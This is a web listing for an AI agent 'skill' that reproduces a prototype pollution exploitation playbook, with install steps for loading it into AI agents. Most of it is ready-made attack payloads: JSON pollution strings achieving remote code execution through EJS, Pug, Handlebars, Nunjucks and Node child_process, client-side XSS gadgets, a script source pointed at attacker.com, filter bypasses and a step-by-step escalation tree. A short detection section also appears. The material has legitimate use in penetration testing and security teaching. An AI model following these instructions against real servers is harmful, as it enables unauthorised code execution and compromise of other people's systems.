Prototype Pollution Advanced logo

Prototype Pollution Advanced

OrganizationPopular
yaklang
prototype-pollution-advanced

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

Overview

Publisheryaklang
Repositoryhack-skills
Skill nameprototype-pollution-advanced
Stars
2.3K
Forks
314
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Prototype Pollution Advanced AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/prototype-pollution-advanced
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/prototype-pollution-advanced .claude/skills/prototype-pollution-advanced
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Prototype Pollution Advanced in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Prototype Pollution Advanced on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Prototype Pollution Advanced is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

0. RELATED ROUTING

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.


1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

javascript
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

json
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

json
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

Detection: any EJS res.render() call after pollution triggers it.

1.3 Pug (formerly Jade)

Pug's compiler reads block from object properties:

json
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

Alternative via self option:

json
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

1.4 Handlebars

Handlebars template compilation checks type and program on template AST nodes:

json
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

Simpler via allowProtoMethodsByDefault:

json
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

1.5 Nunjucks

json
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

1.6 Express res.render (Generic)

When Express calls res.render(), options merge with app.locals and res.locals. Polluted prototype properties appear as template variables:

json
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. CLIENT-SIDE PROTOTYPE POLLUTION

2.1 jQuery Gadgets

$.extend(true, {}, userInput) performs deep merge — classic PP sink.

After pollution, jQuery's HTML methods use polluted properties:

javascript
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

2.2 Lodash Gadgets

javascript
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

2.3 Script Gadgets in Frameworks

"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:

FrameworkGadget PatternPolluted PropertyImpact
jQuery$.html(), element creationinnerHTML, srcXSS
Angular.js$interpolate__defineGetter__XSS
Vue.jsTemplate compilationtemplate, renderXSS
Ember.jsComponent renderingVarious view propertiesXSS
Backbone.js_.templatesourceURLXSS

2.4 DOM Property Pollution

javascript
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. DETECTION TECHNIQUES

3.1 Black-Box Server-Side Detection

Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes

3.2 Black-Box Client-Side Detection

javascript
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});

3.3 Automated Tools

ToolTypePurpose
PPScanBurp ExtensionScans for server-side PP
server-side-prototype-pollutionBurp Extension (Gareth Heyes)Advanced server-side PP detection with multiple techniques
ppfuzzCLIFuzz for client-side PP via URL fragment/query
ppmapCLIMap client-side PP to known gadgets

4. BYPASS __proto__ FILTERS

4.1 constructor.prototype Path

json
// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}

4.2 Bracket Notation Variants

?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)

4.3 JSON Key Variations

json
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}

4.4 Key Distinction: Shallow vs Deep

Object.assign does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.


5. EXPLOITATION FLOW

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

6. DECISION TREE

Confirmed prototype pollution?
│
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

7. QUICK REFERENCE — KEY PAYLOADS

json
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Prototype Pollution Advanced AI skill do?

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

Why use Prototype Pollution Advanced on TypingMind?

Because you install it once and use it with any model. Prototype Pollution Advanced is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Prototype Pollution Advanced in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/prototype-pollution-advanced. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Prototype Pollution Advanced?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Prototype Pollution Advanced?

As many as you like. As long as a model supports skills, you can use Prototype Pollution Advanced with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Prototype Pollution Advanced AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇